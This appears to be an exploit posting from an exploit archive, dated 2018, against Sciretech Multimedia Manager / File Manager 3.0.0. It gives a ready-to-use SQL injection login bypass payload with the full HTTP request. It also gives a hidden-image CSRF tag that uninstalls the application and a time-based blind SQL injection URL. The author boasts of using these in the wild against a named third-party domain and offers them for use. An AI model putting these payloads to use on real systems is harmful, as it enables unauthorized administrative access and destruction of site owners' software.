Sciretech 3.0.0 SQL Injection / CSRF Vulnerability

=========================================================
Vulnerable Software:  Sciretech ® Multimedia Manager Version 3.0.0 
                  Aka:
Sciretech ® File Manager Version 3.0.0

Official site: www.sciretech.com

Vulnerabilities: Blind SQL Injection And CSRF

Dork: Google is Best Your Friend.Isn't?)

Discovered and Exploited in Wild.(For Pwn domain: software.yna.am)

===========================================================
Official Demo:
www.sciretech.com/demo/

Email: [email protected]' and 99=99-- and 0='0
PASS: whateveryouwant

Note that: You need to enter valid email of admin.
In most cases it is: [email protected]_PWN_THIS_DOMAIN.tld




Let me enlight it for you:


Host: www.sciretech.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/15.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=brn7te3s5dtkmo63578umm6kp7
Content-Type: application/x-www-form-urlencoded
Content-Length: 123


POST DATA:

dbuser_user_email=admin%40domain.com%27+and+99%3D99--+and+0%3D%270&dbuser_user_password=WILL_BYPASS_IT_LIKE_2X2&login=Login




You will be logged to administration panel=> http://www.sciretech.com/demo/index.php?module=system&content=index

Host: www.sciretech.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/15.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Cookie: PHPSESSID=brn7te3s5dtkmo63578umm6kp7


==============================================================
CSRF UNINSTALL APPLICATION:( BTW,Very usefull xD )


<img src="http://software.yna.am/index.php?module=control_panel&content=execute&execute=uninstall" heigth="0" width="0" />

==============================================================

Next another Blind SQLi:

http://software.yna.am//index.php?module=user&content=execute&execute=user_account_activation&[email protected]%27%20or%20sleep%2810%29--%20and%205=%275&activation_key=TS0nz4hLVgZ83mrvgtPS


======================================================================
If you unable to find valid email of admin use time Based way to obtain EMAIL:PASSWORD



#  0day.today [2018-04-14]  #